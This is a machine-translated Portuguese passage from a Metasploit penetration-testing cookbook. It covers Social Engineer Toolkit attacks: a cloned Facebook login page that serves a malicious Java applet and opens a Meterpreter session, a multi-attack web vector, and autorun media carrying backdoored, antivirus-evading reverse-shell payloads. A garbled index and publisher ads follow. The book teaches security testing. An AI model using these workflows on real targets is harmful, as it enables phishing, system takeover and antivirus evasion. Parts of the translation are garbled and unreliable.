Machine Translated by Google

Capítulo 10

SET suporta HTTP e HTTPS

Exemplo: http://www.thisisafakesite.com

Digite a url para clonar: http://www.facebook.com

[*] Clonando o site: https://login.facebook.com/login.php

[*] Isso pode demorar um pouco...

2. Assim que terminarmos a parte da clonagem, seremos solicitados a escolher uma carga
útil junto com uma backdoor que pode ser descartada na máquina de destino.
3. Depois de concluir essas etapas, o servidor da web SET será iniciado junto com msf. O Msf
gerenciará o manipulador que receberá a conexão de retorno assim que a carga útil for
descartada na máquina de destino.
4. Você pode encontrar seu modelo clonado junto com o jar em /pentest/exploits/set/src/
web_clone/site/template. Agora, quando o usuário alvo visitar o site clonado (hospedado
em um domínio falso), uma mensagem de applet aparecerá como uma mensagem de
alerta completamente segura:

Agora, quando o usuário alvo clica em Permitir, o miniaplicativo malicioso é executado e permite
a execução da carga útil. O ouvinte Metasploit receberá uma conexão de volta da máquina alvo e,
assim, teremos uma sessão ativa:

[*] Enviando estágio (748544 bytes) para 192.168.56.103

[*] Meterpreter sessão 1 aberta (192.168.56.103:443 ->

Qui, 09 de setembro 10:06:57 -0400 2010

msf exploit(manipulador) > sessões -i 1

[*] Iniciando interação com 1...

meterpreter > shell

237
Machine Translated by Google

Kit de Ferramentas do Engenheiro Social

Processo 2988 criado.

Canal 1 criado.

Microsoft Windows XP [Versão 6.1]

(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrador\Desktop>

Da mesma forma, podemos realizar outros ataques também. Você pode ver com que facilidade o SET cria vetores de ataque para
nós e nos fornece controle total sobre nosso cenário. A melhor coisa sobre o SET é que ele pode lhe dar toda a oportunidade de
implementar suas próprias modificações e mudanças sempre que quiser.

Como funciona...
A infecção do applet Java é uma vulnerabilidade popular do applet Java que permite a execução do applet fora do ambiente de
sandbox protegido. Applets não assinados ou inseguros são executados em um ambiente de sandbox com acesso limitado aos recursos
do sistema. Uma vez que o miniaplicativo mal-intencionado tenha permissão para executar após a mensagem de aviso, ele obtém o
privilégio de acesso total aos recursos na máquina de destino, pois agora está fora do ambiente de sandbox. Isso permite que o applet
execute uma vulnerabilidade Java e permita a execução remota de código. Da mesma forma, outros vetores de ataque baseados na Web
usam um navegador para transferir ataques para o sistema de destino. A engenharia social novamente está na arte de criar um cenário que
engane o usuário. O invasor pode criar um link malicioso oculto sob uma tag href ou o applet pode ser assinado usando assinaturas falsas
para parecer completamente legítimo. Os modelos SET são uma boa fonte de ataques de design.

Método web de ataque múltiplo

O método de multi-ataque na web leva ainda mais o ataque na web para o próximo nível, combinando vários ataques em um. Este
método de ataque nos permite agrupar vários exploits e vulnerabilidades em um único formato. Depois que o arquivo ou URL é aberto
pelo usuário de destino, cada ataque é lançado um por um, a menos que um ataque bem-sucedido seja relatado. O SET automatiza o
processo de agrupar diferentes ataques em um único cenário de ataque na web. Vamos seguir em frente e ver como isso é feito.

Como fazer isso...


O método da Web de ataque múltiplo começa de forma semelhante a outros ataques baseados na Web. Nós começamos com

selecionar um modelo que pode ser importado ou clonado. A diferença está na próxima etapa, onde podemos selecionar vários
exploits que podem ser adicionados ao ataque na web.

238
Machine Translated by Google

Capítulo 10

Selecione quais ataques você deseja usar:

1. O método de ataque Java Applet (OFF)

2. Método de exploração do navegador Metasploit (OFF)

3. Método de ataque do coletor de credenciais (OFF)

4. Método de Ataque Tabnabbing (OFF)

5. Man Left in the Middle Attack Method (OFF)

6. Método de Ataque Web Jacking (OFF)

7. Use todos eles - também conhecido como 'Tactical Nuke'

8. Terminei e quero prosseguir com o ataque.

9. Retorne ao menu principal.

Digite sua escolha uma de cada vez (pressione 8 quando terminar de selecionar):

Podemos selecionar diferentes ataques e, quando terminarmos, podemos passar 8 e finalmente combinar os
ataques selecionados em um único vetor. Por fim, seremos solicitados a selecionar uma carga útil e um
codificador backdoor.

Como funciona...
Depois que diferentes ataques são selecionados, o SET os agrupa com uma carga útil e cria um único link malicioso
que precisa passar por engenharia social agora. Teremos que construir um modelo que pareça totalmente legítimo
para o usuário-alvo e forçá-lo a visitar o link malicioso. Uma vez que o link é clicado pela vítima, diferentes ataques
são tentados, um por um, a menos que um ataque bem-sucedido seja lançado. Depois que uma vulnerabilidade é
encontrada e explorada, a carga útil fornece uma conectividade de retorno ao ouvinte do Metasploit.

Gerador de mídia infecciosa


O gerador de mídia infecciosa é um vetor de ataque relativamente simples. O SET criará uma carga
útil baseada em Metasploit, configurará um ouvinte para você e gerará uma pasta que precisa ser gravada ou
gravada em uma unidade de DVD/USB. Uma vez inserido, se a execução automática estiver habilitada, o
código será executado automaticamente e assumirá o controle da máquina.

Como fazer isso...


Esse vetor de ataque é baseado em um princípio simples de gerar um executável malicioso e, em seguida,
codificá-lo com os codificadores disponíveis para ignorar a proteção antivírus.

239
Machine Translated by Google

Kit de Ferramentas do Engenheiro Social

Nome: Descrição:

1. Windows Shell Reverse_TCP vítima e enviar Gerar um shell de comando em


de volta para o atacante.

2. Vítima do Windows Reverse_TCP Meterpreter e enviar Gere um shell meterpreter em


de volta para o atacante.

3. Windows Reverse_TCP VNC DLL Gere um servidor VNC na vítima


e enviar de volta ao atacante.

4. Shell de ligação do Windows Execute o payload e crie um


aceitando a porta no sistema remoto.
5. Windows Bind Shell X64 Bind TCP Shell de comando do Windows x64,
Inline

6. Windows Shell Reverse_TCP X64 TCP reverso em Shell de comando do Windows X64,
linha

7. Windows Meterpreter Reverse_TCP X64 (Windows x64), Conecte-se de volta ao atacante


Meterpreter

8. O Windows Meterpreter Egress Buster encontra uma Gere um shell meterpreter e


porta inicial por meio de várias portas

9. Importe seu próprio executável executável Especifique um caminho para o seu próprio

Digite a escolha (pressione enter para o padrão):

Abaixo está uma lista de codificações para tentar ignorar o AV.

Selecione um dos abaixo, 'executável backdoored' é normalmente o melhor.

1. avoid_utf8_tolower (Normal)

2. shikata_ga_nai (Muito Bom)

3. alpha_mixed (Normal)

4. alpha_upper (Normal)

5. call4_dword_xor (Normal)
6. contagem regressiva (normal)

7. fnstenv_mov (Normal)

8. jmp_call_additive (Normal)

9. nonalpha (Normal)

10. não superior (Normal)

11. unicode_mixed (Normal)

240
Machine Translated by Google

Capítulo 10

12. unicode_upper (Normal)

13. alfa2 (Normal)

14. Sem Codificação (Nenhuma)


15. Codificador múltiplo (excelente)

16. Executável Backdoor (BEST)

Digite sua escolha (digite como padrão):

[-] Digite a PORTA do ouvinte (digite por padrão):

[-] Backdooring de um executável legítimo para contornar o Anti-Virus. Espere um pouco


segundos...

[-] Backdoor concluído com sucesso. A carga útil agora está oculta dentro de um legítimo
executável.

[*] Seu ataque foi criado na pasta do diretório inicial do SET


"execução automática"

[*] Copie o conteúdo da pasta para um CD/DVD/USB para executar automaticamente.

[*] A carga útil pode ser encontrada no diretório inicial do SET.

[*] Deseja iniciar o listener agora? sim ou não: sim

[*] Aguarde enquanto o ouvinte do Metasploit é carregado...

Como funciona...
Depois de gerar o arquivo malicioso codificado, o ouvinte do Metasploit começa a aguardar conexões
de retorno. A única limitação desse ataque é que a mídia removível deve ter a execução automática
ativada, caso contrário, será necessário um acionamento manual.

Esse tipo de vetor de ataque pode ser útil em situações em que o usuário-alvo está atrás de um firewall.
A maioria dos programas antivírus, hoje em dia, desativa a execução automática, o que, por sua vez,
inutiliza esse tipo de ataque. O pen-tester, juntamente com ataques baseados em execução automática,
também deve garantir que um executável/PDF legítimo backdoor seja fornecido junto com a mídia. Isso
garantiria que a vítima invariavelmente executaria uma das cargas.

241
Machine Translated by Google
Machine Translated by Google

Índice
pós-exploração 221-223
Símbolos configurando, no BackTrack 212, 213
-A parâmetro 145 -b configurando, no Linux 214 começando com
parâmetro 197 -c 212 trabalhando 213
parâmetro 101
-D operador 39 -f Ataques | Encontrar Ataques | Por porta ou por
parâmetro 125 -i vulnerabilidade 217
operador 145 -l 131 Opção de ataque 217
Corrupção de memória do Aurora
-oX parâmetro 24 -p no Internet Explorer 85
131, 145 -r 145 -S AUTO_DETECT sinalizador
operador 145 -sS 231 módulos de administração
parâmetro 36 -U auxiliares cerca de 173
operador 145 .NET 2.0 trabalhando com 173-175
módulo mscorie.dll 87 módulos auxiliares ativando 39,
40 explorando, para escanear
40 módulos, executando 39, 41
A especificações, configurando 39,
40 serviço de destino, escaneando 42
ACK scan [-sA] 36
threads, gerenciando 41
adicionar opção de
ramificação 51 adicionar
opção de nota 51 Randomização do layout do espaço
de endereço. Consulte ASLR do Windows
B
Adobe Reader BackTrack 5
estouro de buffer util.printf() 91-94 integrando, com Metasploit 13, 14
antiparser fuzzing framework sobre NOME BASE parâmetro 74
209 baixando 209 programas
antivírus C
canal -l comando 123
desativando, killav.rbscript usado 104-107
serviços de antivírus proteção antivírus do lado do cliente

matando, da linha de comando 111, 112 ignorando, msfencode usado 99-103 vetor de
ataque do lado do cliente 78
Armitagem
por volta de 211 exploração do lado do cliente

exploração do lado do cliente 223-225 Armitage 223-225


Machine Translated by Google

função connect_login 184 Módulos de ataque do


Guia do console 216 DOS cerca de 175, 176
Janela do console 225 funcionando 177, 178
função create_payload() 165 crise Estrutura Dradis
características 49

-b parâmetro 173 -f informações, compartilhando 49,


parâmetro 173 -o 51 funcionando 51, 52 Biblioteca
parâmetro 173 -t de vínculo dinâmico. Ver DLL
parâmetro 173 charset
parâmetro 173 max-len E
parâmetro 173 min-len
parâmetro 173 usando, para ENDSIZE opção 204

geração de senha 172, 173 comando enumdesktops 132


Corrupção de memória de chamada recursiva ERRO opção 204 técnica

CSS .NET CLR 2.0.50727 erro ausente 88 no de sempre exploração 143 execute -h
comando 122
Internet Explorer 85, 86 funcionando 87, 88
opção CYCLIC 204 script meterpreter existente
analisando 163-168 módulo
existente sobre 182 analisando
D 182-184 trabalhando 184, 185

base de dados

configurando, no Metasploit 21 Explorar


resultados armazenados, analisando cerca de 8, 191
24 usando, para armazenamento de resultados de testes de penetraçãocomandos 55, 56
23 convertendo, para módulo Metasploit 197-199 dicas
configuração de banco de dados, de uso 54, 56 função exploit() 193 explorar mixins
Metasploit cerca de 21 cerca de 194
banco de dados criado, excluindo 23
erros 22, 23 etapas 21 funcionando 22
comando db_connect 22 comando Exploit::BruteTargets 194
db_import 49 comando db_nmap 24 Explorar::Capturar 195
Exploit::Remote::DCERPC 194
Explorar::Remoto::FTP 194
Exploit::Remote::MSSQL 194
DCOM 60 Explorar::Remoto::SMB 194
Decoy [-D] 39 Explorar::Remoto::TCP 194
comando de exclusão 131 Explorar::Remoto::UDP 194
Negação de serviço. Ver DOS formato de arquivo 195
dig query 31 imap 195
Distributed Component Object Model. Ver java 195 she
DCOM 195 smtp
DLL 76 195
DllHijackAudit kit 76 trabalhando 195
DOS 176 opção de exportação 52
EXTRALINE opção 204

244
Machine Translated by Google

coleta de
F
informações 214-217
atributos de arquivo digitalização 214-217
modificando, timestomp usado 126-128 coleta de informações sobre
comandos do sistema de arquivos, 27
meterpreter cerca de 124, 125 funcionando coleta de informações ativas 28 método
126 passivo 28, 30, 31 coleta de informações
FUZZCMDS opção 205 fuzzers, passivas 28 engenharia social 28 função
Metasploit initialize() 186, 193, 200
Soma de verificação do pacote 206
Cabeçalho do pacote 206 Internet Explorer
tamanho do pacote 206 Corrupção de memória Aurora 85
Corrupção de memória de chamada recursiva CSS 85, 86
G vulnerabilidade de configuração incorreta de script inseguro
79, 80, 82, 84
gateway 129
comando ipconfig 130
comando getdesktop sobre
131, 132, 134 funcionando
k
133-135 comando
getsystem 121 comando getuid comando keyscan_dump 132, 135 detecção
106 de pressionamento de tecla 131, 132
Técnica idiota do Google 33, 34 killav.rbscript sobre 108

H usando 108-110
usando, para programa antivírus desabilitando 104,
varredura semi-aberta 37 105-107 funcionando 107
hash
hashdump, tentando 141, 142
descriptografia de senha online 142
eu
passando 140, 141
Hello World, Metasploit sobre Botão de lançamento 225
19, 20 msfconsole, lançando Máquina Linux (Ubuntu)
20 msf > help command 21 msf > explorando 68-71 módulos de
ls command 20 exploração relevantes 72
Samba chain_reply Corrupção de memória 72
msf > comando msfupdate 21 funcionando Samba trans2open Overflow 72
20 comando de ajuda 23 tag href 238 funcionando 72 função loadlibrary() 76

M
EU

MULHER 126
Personificação 120 Metasploit
Importar da opção de arquivo 52 sobre 7, 115
gerador de mídia infecciosa sobre configurando, na configuração do
239-241 funcionando 241 Ubuntu 11, no Windows 10
opção CÍCLICA 204

245
Machine Translated by Google

banco de dados, configuração 21 comando irb, usando 152


ENDSIZE opção 204 diagrama de representação de carregamento
ERRO opção 204 116 mixins 153
Opção EXTRALINE 204 comandos de rede, usando 128 pivotante
fundamentos da estrutura 169 146-148 encaminhamento de porta 148-151
Opção FUZZCMDS 205 script, funcionando 151, 152 comandos do
fuzzers, funcionando 206 sistema, analisando 117
fuzzing com 203-205
Hello World 19, 20 API meterpreter
integrando, com BackTrack 5 13, 14 processo de cerca de 151
penetração, quebrando 78, 79 configurando, conectividade trabalhando
SSH usada 17, 18 mixins de 154 medidores
Injeção de SQL 175 cmd_exec(cmd) 153
SRVHOST opção 205 eventlog_list() 153
SRVPORT opção 205 file_local_write(file2wrt, data2wrt) 153 is_admin?()
STARTSIZE opção 205 153 is_uac_enabled?() 153 Registry_createkey(key)
opção STEPSIZE 205 153 Registry_deleteval(key,valname) 153
Configuração Metasploit, no Ubuntu cerca de Registry_delkey(key) 153 Registry_enumkeys(key)
11 instalador completo, usando 11 erro de 154 Registry_enumvals( key) 154
instalação 12 processo de instalação, trabalhando registry_getvaldata(key,valname) 154
12 instalador mínimo, usando 11 service_delete(name) 154 service_info(name) 154
service_list() 154 service_stop(name) 154 script
meterpreter . Consulte Desativador do Firewall do
Configuração Metasploit, no Windows Windows
cerca de 10
erro de banco de dados, durante a instalação 10
Configuração do servidor PostgreSQL, causas de erro
11
trabalhando 10
Metasploit framework sobre Microsoft Word
8 diagrama de arquitetura 8, Estouro de buffer de pilha RTF 88-90
9 arquitetura modular 8 Estouro de buffer de pilha RTF, funcionando 90
migrar -f comando 86 mixins 194
Exploit do módulo
Metasploit , convertendo para 197-199 Entrada-criada-acessada-modificada. Consulte MACE
funcionando 200, 201 Módulo 8 módulo construindo cerca de 180 começando com
Configuração Metasploit, conectividade SSH usada 180 trabalhando 180, 181 módulos módulos auxiliares de
na máquina virtual 17, 18 funcionando 19 meterpreter administração 173 construindo 180 módulos de ataque DOS
cerca de 116, 139 175 módulo existente, analisando 182

API 151
características 116

comandos do sistema de arquivos 124, 125


funcionando 116

246
Machine Translated by Google

próprio módulo de pós-exploração, construindo 185 alvos múltiplos


módulos de pós-exploração 178 módulos auxiliares manuseio, chave de tabulação usada
do scanner 170 módulos/exploits/windows/ 219-221 módulo mysql_enum 173
diretório do navegador
188 N
estrutura do módulo
sobre 192 tubo nomeado 120
explorando 192 Representação de Pipe Nomeado 120
Nesso
funcionando 193
tela do msfconsole 75 msf cerca de 44

> comando db_autopwn 26 msfencode usando, para varredura de vulnerabilidade 45, 46


varredura múltipla, VirusTotal usado 104 funcionando 46 funcionando, em navegadores da

varredura múltipla rápida, VirusTotal usado 104 web 47


netmask 129
usando, para proteção antivírus do lado do cliente
ignorar 99-103 funcionando 103 msf > comando de comandos de rede, meterpreter sobre 128
gateway 129 netmask 129
ajuda 21 msf > hosts comando 25 msf > ls
comando 20 msf > msfupdate comando 21
msfpayload sobre 96, 100 binário, gerando 96-98
drawback 96 sub-rede 129
Sub-rede 129
usando 129, 130
funcionando 131
novo módulo de
exploração sobre 202
portando 202 testando
shellcode, gerando 96-98 202 funcionando 202
trabalhando 98, 99 msfpayload -l
comando 96 msf > search exploit NeXpose
cerca de 47
55 msf > services command 26
msf > show exploits 55 msf > show digitalizando 48

payloads 55 msf > use exploit 55 resultados de digitalização, importando 49


Comando NLST 205
msfvenom
Nmap 34
opção de categorias de notas 52
cerca de 195 NTLM (NT LAN Manager) 140
trabalhando 196, 197
msfvenom -h comando 195 O
msf > vulns comando 26
Função OleFlushClipboard() 158
método da web multi-ataque
identificação do sistema operacional [-O] 38
sobre 238, 239 funcionando
Oracle DBMS_METADATA XML vulnerabilidade
239 configuração de vários
175 próprio módulo pós-exploração sobre
canais de comunicação , com alvo
185 edifício 185-189 funcionando 189
122-124 funcionando 124

247
Machine Translated by Google

P Varredura UDP [-sU] 36


detecção de versão [-sV] 38
coleta passiva de informações sobre funcionando 37 pós-exploração
28-31
nível 1 28-31 Armitage, usando 221-223
nível 2 31-34 módulos de pós-exploração
sites de terceiros, usando 31 trabalho cerca de 178, 179 funcionando
31 coleta passiva de informações 1.0 180 chamadas de API de
impressão print_error( 153
cerca de 28-31 print_good( 152 print_line( 152
trabalhando print_status( 152 escalonamento
31 coleta de informações passivas 2 de privilégios cerca de 119-222
sobre 31
Técnica idiota do Google 33
Técnica de cabeçalho SMTP 33
técnicas 32 funcionando 34 funcionando 120-122
ID do processo (PID) 134
Técnica de transferência de zona 32, 33 função process.kill 110 migração
cargas úteis cerca de 8 do processo 119-121
cerca de 119-121
desvantagem 116 teste trabalhando 120-122
de penetração comando pwd 125
execução, no Windows 2003 Server 64-66 execução, na
máquina Windows XP SP2 R
57-61
proteção antivírus de laboratório Canhão
ferroviário cerca de 155
de teste de penetração, desabilitando 16, 17
definições 157
firewall, desabilitando 16, 17 configuração, em
uma única máquina 15, 16 adições de convidados DLL, adicionando 157-159
de caixa virtual, instalando 17 funcionando 16 definições de função, adicionando 157-159
resultados de teste de penetração usando 155, 156 funcionando 156 comando de
leitura 124
comando db_nmap, armazenando 24
Atualizar botão 223
armazenando, banco de dados usado 23,
24 configuração de conexão persistente , comando de rota 129, 130
Estouro de buffer de pilha RTF
backdoors usados 143-145 pivotante
meterpreter, usando 146, encaminhamento de no Microsoft Word 88, 89, 90 no

porta 148 131 meterpreter, usando 148-151 Microsoft Word, trabalhando 90


Estouro de buffer do Microsoft Excel 2007 91
Ruby Extension (Rex) library 9 run
command 68 run scraper -h command
varredura de
porta cerca de 34 135
ACK scan [-sA] 36
identificação do sistema operacional [-O] 38 S
etapas 35, 36
módulos auxiliares do scanner
Varredura SYN [-sS] varredura 35
cerca de 170 geração de senha,
Conexão TCP [-sT] varredura 35
trituração usada 172, 173

248
Machine Translated by Google

trabalhando 170-172 Iniciar | Programas | Estrutura Metasploit |


módulos auxiliares de Atualização de estrutura 213
varredura , explorando 39 STARTSIZE opção 205
script scraper meterpreter cerca opção STEPSIZE 205
de 135 resultados armazenados,
usando 135, 136 análise de banco de dados
winenum.rb, usando 137 24-26 função store_loot 188
trabalhando 136, 137 sub-rede/sub-rede 129 comando
captura de tela 222 svn update 229
servidor sendmail 234 SYN scan [-sS] scan 35
Opção de serviços 216 comandos do sistema, meterpreter
DEFINIR analisando 117 background 117 exit
cerca de 228 119 getpid 118 getuid 118 ps 118 shell
começando 228 118
trabalhando 229 definir
comando 56, 58
Arquivo de
configuração
SET funcionando 233 sysinfo 118
trabalhando com 229-232 comando funcionando 119
setdesktop 134 definir comandos
USER 59 shell, vinculando ao T
destino cerca de 61
comutador
exploit dcom, trabalhando 63
passos 62, 63 alvo, controlando de tabulação usando, para alvos múltiplos lidando com

64 alvos 219-221 atacando serviço alvo 217-219

comando show options 55, 58, 63, 171 comando


show targets 56, 59 simples FileZilla FTP fuzzer
antiparser fuzzing framework 209 trabalhando 208 escaneamento, módulos auxiliares usados 42, 43

escrevendo 206, 207 técnica de cabeçalho SMTP funcionando 44

33 engenharia social 227 Social Engineer Targets_exec() função 168 comando


taskkill 113
Toolkit. Consulte SET vetor de ataque de Spear-
comando lista de tarefas 112
phishing sobre 233 vetores de ataque, analisando
234, 235 tipo de conteúdo baseado em carga útil 233 Conexão TCP [-sT] varredura 35
TEB 121
tipo de conteúdo baseado na Web 233 funcionando
Bloco de ambiente de encadeamento. Veja
235 SPF 31 injeção de SQL cerca de 175, 176
funcionando 177, 178 opção SRVHOST 205 o comando TEB timestomp

opção SRVPORT 205 usando, para modificação de atributo de arquivo 126-128


trabalhando 128 timestomp -h comando 127

TLV 122
Tipo-Comprimento-Valor. Ver TLV

EM

UAC 153
Varredura UDP [-sU]
36 função udp_sock_sendto 208

249
Machine Translated by Google

vulnerabilidade de configuração incorreta Windows 7/Server 2008 R2 cliente SMB loop infinito
de script inseguro sobre 67
no Internet Explorer 79-84
processo de trabalho 84 passos 67, 68
use o comando 67 trabalhando 68
Controle de Conta de Usuário. Consulte Windows 2003 Server
UAC User Interface (UI) 9 estouro de analisando 73-75 testes de
buffer util.printf() no Adobe Reader penetração, realizando 64-66 funcionando 76
91-94
trabalhando 95 Windows ASLR 90
Falhas de injeção de DLL do Windows 72
EM Desativador do Firewall do Windows
cerca de 159
detecção de versão [-sV] 38 construção 160, 161
Exibir | Console 220 código, reutilização 162
máquina virtual (VM) 15 trabalho 161, 162 escrita,
Vulnerabilidade
diretrizes 160
VirusTotal 104 Máquina com Windows XP SP2
cerca de 8
teste de penetração, realizando 57-61
encontrando winenum.rb 137
vulnerabilidade 217-219 variável write_check 185
verificando cerca de 44
comando de gravação 123, 124
Nesso, usando 45, 46
COM

EM
Técnica de transferência de zona 32
botão de assistir 223
WEBATTACK_SSL configurando 232
vetores de ataque de site
cerca de 236-238
trabalhando 238

250
Machine Translated by Google

obrigado por comprar


Livro de receitas de teste de penetração Metasploit

Sobre a Editora Packt


Packt, pronuncia-se 'packed', publicou seu primeiro livro "Mastering phpMyAdmin for Effective MySQL Management" em abril de
2004 e subsequentemente continuou a se especializar na publicação de livros altamente focados em tecnologias e soluções
específicas.

Nossos livros e publicações compartilham as experiências de seus colegas profissionais de TI na adaptação e personalização
dos sistemas, aplicativos e estruturas atuais. Nossos livros baseados em soluções fornecem o conhecimento e o poder para
personalizar o software e as tecnologias que você está usando para realizar o trabalho.
Os livros Packt são mais específicos e menos gerais do que os livros de TI que você viu no passado. Nosso modelo de negócios
exclusivo nos permite trazer informações mais focadas, dando a você mais do que você precisa saber e menos do que você não
precisa.

A Packt é uma editora moderna, mas única, que se concentra na produção de livros de qualidade e de ponta para comunidades
de desenvolvedores, administradores e novatos. Para obter mais informações, visite nosso site: www.packtpub.com.

Sobre o Packt Open Source


Em 2010, a Packt lançou duas novas marcas, Packt Open Source e Packt Enterprise, a fim de continuar seu foco na
especialização. Este livro faz parte da marca Packt Open Source, lar de livros publicados sobre software construído com base
em licenças Open Source e oferecendo informações a qualquer pessoa, desde desenvolvedores avançados até web designers
iniciantes. A marca Open Source também executa o Open Source Royalty Scheme da Packt, pelo qual a Packt concede royalties
a cada projeto de código aberto sobre cujo software um livro é vendido.

Escrevendo para Packt


Congratulamo-nos com todas as perguntas de pessoas interessadas em autoria. As propostas de livros devem ser enviadas
para author@packtpub.com. Se a ideia do seu livro ainda está em um estágio inicial e você gostaria de discuti-la primeiro antes
de escrever uma proposta formal de livro, entre em contato conosco; um de nossos editores de comissionamento entrará em
contato com você.

Não estamos apenas procurando por autores publicados; se você tem fortes habilidades técnicas, mas não tem experiência
em redação, nossos editores experientes podem ajudá-lo a desenvolver uma carreira de escritor ou simplesmente obter
alguma recompensa adicional por sua experiência.
Machine Translated by Google

Zabbix 1.8
Monitoramento de Rede
ISBN: 978-1-847197-68-9 Brochura: 428 páginas

Monitore seu hardware de rede, serviços e desempenho


da Web de forma eficaz e eficiente

1. Comece com o básico do Zabbix, uma solução de


monitoramento de rede de código aberto de classe
empresarial, e avance para tarefas mais avançadas posteriormente

2. Gerencie com eficiência seus hosts, usuários e


permissões

3. Receba alertas e reaja a mudanças no monitoramento


parâmetros enviando e-mails, SMSs ou até mesmo
executando comandos em máquinas remotas

4. Cobertura detalhada para iniciantes e usuários


avançados com muitos exemplos práticos e de
trabalho e explicações claras

BackTrack 4: Garantindo
Segurança por Penetração
teste
ISBN: 978-1-84951-394-4 Brochura: 392 páginas

Domine os testes de penetração de arte com o BackTrack

1. Aprenda a arte negra dos testes de penetração com


cobertura detalhada da distribuição BackTrack Linux

2. Explore os insights e a importância de testar seus sistemas


de rede corporativa antes que os hackers o ataquem

3. Entenda o espectro prático de ferramentas de segurança


por seu uso, configuração e benefícios exemplares

Verifique www.PacktPub.com para obter informações sobre nossos títulos


Machine Translated by Google

BackTrack 5 sem fio


Teste de penetração
Guia do iniciante
ISBN: 978-1-84951-558-0 Brochura: 220 páginas

Domine técnicas de teste sem fio de ponta com


BackTrack 5

1. Aprenda o teste de penetração sem fio com o mais


versão recente do Backtrack

2. O primeiro e único livro que aborda testes sem fio


com BackTrack

3. Conceitos explicados com sessões práticas passo a


passo e ricas ilustrações

4. Escrito por Vivek Ramachandran ¬– mundo


renomado pesquisador de segurança e evangelista,
e descobridor do wireless “Caffe Latte Attack”

Penetração Avançada
Teste para alta segurança
Ambientes: The Ultimate
Guia de segurança
ISBN: 978-1-84951-774-4 Brochura: 414 páginas

Aprenda a realizar testes de penetração profissionais


para ambientes altamente seguros com um guia prático
intensivo.

1. Aprenda a realizar um teste de penetração eficiente,


organizado e eficaz do início ao fim

2. Obtenha experiência prática em testes de penetração


construir e testar um ambiente de laboratório virtual que
inclua medidas de segurança comumente encontradas,
como IDS e firewalls

Verifique www.PacktPub.com para obter informações sobre nossos títulos


Machine Translated by Google

Você também pode gostar